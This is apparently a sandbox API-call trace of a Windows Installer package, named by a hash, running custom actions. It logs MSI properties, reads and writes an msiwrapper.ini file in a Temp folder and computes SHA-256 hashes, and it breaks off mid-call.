MsiCreateRecord (cParams=0x2) returned 0x30 [0149.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.004] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x120) returned 0x5f6490 [0149.004] MsiRecordSetStringW (hRecord=0x30, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 0x0 [0149.004] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x30) returned 0 [0149.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6490 | out: hHeap=0x5c0000) returned 1 [0149.006] MsiCloseHandle (hAny=0x30) returned 0x0 [0149.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x5f5c18 [0149.007] MsiCreateRecord (cParams=0x2) returned 0x31 [0149.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.007] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0149.007] MsiRecordSetStringW (hRecord=0x31, iField=0x0, szValue="-- CUSTOM ACTION -- SubstProperties: Output=\"\"") returned 0x0 [0149.007] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x31) returned 0 [0149.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.009] MsiCloseHandle (hAny=0x31) returned 0x0 [0149.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f78f8 | out: hHeap=0x5c0000) returned 1 [0149.012] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0149.012] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.012] MsiCreateRecord (cParams=0x2) returned 0x32 [0149.012] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.012] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.012] MsiRecordSetStringW (hRecord=0x32, iField=0x0, szValue="-- CUSTOM ACTION -- GetParameters: Done.\"\"") returned 0x0 [0149.012] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x32) returned 0 [0149.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.015] MsiCloseHandle (hAny=0x32) returned 0x0 [0149.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.016] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.016] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x20a [0149.016] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20c) returned 0x342ac8 [0149.016] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x20a, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x20a, lpOverlapped=0x0) returned 1 [0149.017] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.017] CloseHandle (hObject=0x180) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.018] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.019] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.021] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.021] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x182, dwFlags=0x0) returned 1 [0149.021] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.021] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.021] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.021] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.021] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.021] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.021] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.022] GetLastError () returned 0x0 [0149.022] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.022] GetLastError () returned 0x0 [0149.022] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.022] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.022] GetLastError () returned 0x0 [0149.022] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.022] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.023] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="fec0801474a0ac29a973069b959e7d3f41c6ed9164c0e31b4ba6edf6a516d944dc9763e3썚琱") returned 0 [0149.023] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.024] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.024] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.024] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.025] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d98, Size=0x40) returned 0x5dbad8 [0149.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.026] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.027] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.027] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.027] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x1a4, dwFlags=0x0) returned 1 [0149.027] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.027] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.027] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.027] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.027] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.027] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.027] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.028] GetLastError () returned 0x0 [0149.028] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.028] GetLastError () returned 0x0 [0149.028] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.028] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.028] GetLastError () returned 0x0 [0149.028] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.028] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.029] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="f6611f6c2bac27fd1e1aa1c865fc88b6764f4013740f5ad7f3bcb0431a8fec24ẜ") returned 0 [0149.029] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.029] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.029] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.030] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.030] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.030] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.030] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.030] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.030] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.030] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.032] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x22c, lpOverlapped=0x0) returned 1 [0149.033] CloseHandle (hObject=0x180) returned 1 [0149.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.035] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.035] MsiCreateRecord (cParams=0x2) returned 0x33 [0149.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.035] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.036] MsiRecordSetStringW (hRecord=0x33, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=[SourceDir]") returned 0x0 [0149.036] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x33) returned 0 [0149.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.038] MsiCloseHandle (hAny=0x33) returned 0x0 [0149.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.040] MsiGetPropertyW (in: hInstall=0x1, szName="[SourceDir]", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.042] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0149.042] MsiGetPropertyW (in: hInstall=0x1, szName="[SourceDir]", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0x0 [0149.045] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.045] MsiCreateRecord (cParams=0x2) returned 0x34 [0149.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.046] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.046] MsiRecordSetStringW (hRecord=0x34, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0149.047] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x34) returned 0 [0149.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.051] MsiCloseHandle (hAny=0x34) returned 0x0 [0149.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.053] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.053] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22c [0149.053] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x22e) returned 0x342ac8 [0149.053] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x22c, lpOverlapped=0x0) returned 1 [0149.054] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.054] CloseHandle (hObject=0x180) returned 1 [0149.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.055] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.056] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.056] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.056] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x1a4, dwFlags=0x0) returned 1 [0149.056] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.056] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.056] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.056] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.056] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.056] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.056] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.057] GetLastError () returned 0x0 [0149.057] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.057] GetLastError () returned 0x0 [0149.057] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.057] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.057] GetLastError () returned 0x0 [0149.058] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.058] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.058] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="f6611f6c2bac27fd1e1aa1c865fc88b6764f4013740f5ad7f3bcb0431a8fec24dc9763e3썚琱") returned 0 [0149.058] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.059] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.059] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.059] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.060] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d98, Size=0x30) returned 0x5f56e0 [0149.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0149.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.061] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.062] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.062] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.062] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x1bc, dwFlags=0x0) returned 1 [0149.062] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.062] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.062] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.062] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.062] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.062] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.062] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.063] GetLastError () returned 0x0 [0149.063] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.063] GetLastError () returned 0x0 [0149.063] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.063] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.063] GetLastError () returned 0x0 [0149.063] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.064] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.064] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="b45646575b285db9d7a9ae2ba296420b3cffa595c472296b2c3e70377014223aẜ") returned 0 [0149.064] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.064] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.064] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.064] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.065] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.065] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.067] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.067] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.067] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.068] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, 